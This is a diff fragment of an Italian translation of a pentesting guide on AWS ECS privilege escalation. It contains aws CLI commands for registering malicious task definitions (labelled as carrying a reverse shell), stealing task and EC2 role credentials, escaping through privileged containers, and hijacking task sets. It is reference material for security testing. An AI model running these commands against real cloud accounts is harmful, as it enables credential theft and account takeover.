Se il ruolo IAM che l'attaccante può passare ha privilegi sufficienti per effettuare il pull dell'immagine ECR e avviare il task ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), allora l'attaccante può specificare lo stesso ruolo IAM sia per `executionRoleArn` sia per `taskRoleArn` nel comando `ecs run-task`.
|
||||
Se il ruolo IAM che l'attacker può passare ha privilegi sufficienti per scaricare l'immagine ECR e avviare il task ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), allora l'attacker può specificare lo stesso ruolo IAM sia per `executionRoleArn` che per `taskRoleArn` nel comando `ecs run-task`.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Impatto potenziale:** Privesc diretto a qualsiasi ECS task role.
|
||||
**Impatto potenziale:** Direct privesc a qualsiasi ECS task role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Proprio come nel precedente esempio un attacker che abusa delle autorizzazioni **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** su ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali dei metadata e **eseguirla**.\
|
||||
Tuttavia, in questo caso è necessaria un'istanza container per eseguire la task definition malevola.
|
||||
Proprio come nell'esempio precedente un attacker che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS può **generare una nuova task definition** con un **malicious container** che ruba le metadata credentials e **eseguirla**.\
|
||||
Tuttavia, in questo caso è necessario che sia disponibile una container instance su cui eseguire la task definition malevola.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Impatto potenziale:** Escalation di privilegi diretta su qualsiasi ruolo ECS.
|
||||
**Potential Impact:** privesc diretto su qualsiasi ruolo ECS.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Proprio come nell'esempio precedente, un attaccante che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali metadata e **eseguirlo creando un nuovo service con almeno 1 task in esecuzione.**
|
||||
Come nell'esempio precedente, un attaccante che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali dei metadata e **eseguirlo creando un nuovo service con almeno 1 task in esecuzione.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -169,12 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Potential Impact:** Privesc diretto a qualsiasi ruolo ECS.
|
||||
**Potenziale impatto:** privesc diretto su qualsiasi ECS role.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
|
||||
In realtà, con solo quelle autorizzazioni è possibile usare overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario con qualcosa del genere:
|
||||
In realtà, solo con queste autorizzazioni è possibile usare overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario con qualcosa del genere:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -182,16 +181,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Impatto potenziale:** Privesc diretto a qualsiasi ruolo ECS.
|
||||
**Potential Impact:** Privesc diretto a qualsiasi ruolo ECS.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Questo scenario è simile ai precedenti ma **senza** il permesso **`iam:PassRole`**.\
|
||||
Questo è comunque interessante perché se puoi eseguire un container arbitrario, anche se senza un ruolo, potresti **eseguire un container privilegiato per evadere** sul nodo e **rubare il ruolo IAM di EC2** e i **ruoli degli altri container ECS** in esecuzione sul nodo.\
|
||||
Potresti persino **forzare altri task a essere eseguiti all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (as discusso nella [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
Questo scenario è come i precedenti ma **senza** il permesso **`iam:PassRole`**.\
|
||||
Questo è comunque interessante perché se puoi eseguire un container arbitrario, anche se senza un ruolo, potresti **eseguire un container privilegiato per evadere** verso il nodo e **rubare l'EC2 IAM role** e gli **altri ruoli dei container ECS** in esecuzione sul nodo.\
|
||||
Potresti persino **forzare altre task a essere eseguite all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come discusso nella [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Questo attacco è possibile solo se il **cluster ECS utilizza istanze EC2** e non Fargate.
|
||||
> Questo attacco è possibile solo se l'**ECS cluster usa EC2** e non Fargate.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -234,10 +233,10 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Un attaccante con le **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **eseguire comandi** all'interno di un container in esecuzione ed esfiltrare il ruolo IAM a esso associato (è necessario il permesso describe perché serve per eseguire `aws ecs execute-command`).\
|
||||
Tuttavia, per farlo, l'istanza del container deve avere in esecuzione l'**ExecuteCommand agent** (che per impostazione predefinita non lo è).
|
||||
Un attacker con i permessi **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **eseguire comandi** all'interno di un container in esecuzione ed esfiltrare l'IAM role ad esso associato (è necessario il permesso di describe perché è richiesto per eseguire `aws ecs execute-command`).\
|
||||
Tuttavia, per farlo, l'istanza del container deve eseguire l'**ExecuteCommand agent** (che di default non lo fa).
|
||||
|
||||
Quindi, l'attaccante potrebbe provare a:
|
||||
Pertanto, l'attacker potrebbe provare a:
|
||||
|
||||
- **Provare a eseguire un comando** in ogni container in esecuzione
|
||||
```bash
|
||||
@@ -262,13 +261,13 @@ aws ecs execute-command --interactive \
|
||||
- Se ha **`ecs:CreateService`**, creare un service con `aws ecs create-service --enable-execute-command [...]`
|
||||
- Se ha **`ecs:UpdateService`**, aggiornare un service con `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Puoi trovare **esempi di queste opzioni** nelle **precedenti sezioni su ECS privesc**.
|
||||
Puoi trovare **esempi di queste opzioni** nelle **precedenti sezioni ECS privesc**.
|
||||
|
||||
**Impatto potenziale:** Privesc a un ruolo diverso associato ai container.
|
||||
**Potenziale impatto:** Privesc a un ruolo diverso associato ai container.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Consulta la **pagina ssm privesc** per vedere come puoi abusare di questa autorizzazione per **privesc a ECS**:
|
||||
Consulta la **ssm privesc page** per vedere come puoi abusare di questo permesso per **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
@@ -276,7 +275,7 @@ aws-ssm-privesc.md
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Consulta la **pagina ec2 privesc** per vedere come puoi abusare di queste autorizzazioni per **privesc a ECS**:
|
||||
Consulta la **ec2 privesc page** per vedere come puoi abusare di questi permessi per **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
@@ -284,16 +283,16 @@ aws-ec2-privesc.md
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
Un attaccante con queste autorizzazioni potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguire task su di essa. Ciò potrebbe permettere all'attaccante di eseguire codice arbitrario nel contesto dei task ECS.
|
||||
Un attacker con questi permessi potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguire task su di essa. Questo potrebbe permettere all'attacker di eseguire codice arbitrario nel contesto dei task ECS.
|
||||
|
||||
- TODO: È possibile registrare un'istanza da un account AWS diverso in modo che i task vengano eseguiti su macchine controllate dall'attaccante??
|
||||
- TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testare questo
|
||||
> TODO: Test this
|
||||
|
||||
Un attaccante con le autorizzazioni `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` e `ecs:DescribeTaskSets` può **creare un task set malevolo per un servizio ECS esistente e aggiornare il task set primario**. Questo permette all'attaccante di **eseguire codice arbitrario all'interno del servizio**.
|
||||
Un attacker con i permessi `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` può **creare un task set malevolo per un servizio ECS esistente e aggiornare il primary task set**. Questo consente all'attacker di **eseguire codice arbitrario all'interno del servizio**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -319,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Impatto potenziale**: Eseguire codice arbitrario nel servizio interessato, impattando potenzialmente la sua funzionalità o esfiltrando dati sensibili.
|
||||
**Impatto potenziale**: Eseguire codice arbitrario nel servizio interessato, potenzialmente compromettendone la funzionalità o esfiltrando dati sensibili.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
Reference in New Issue
Block a user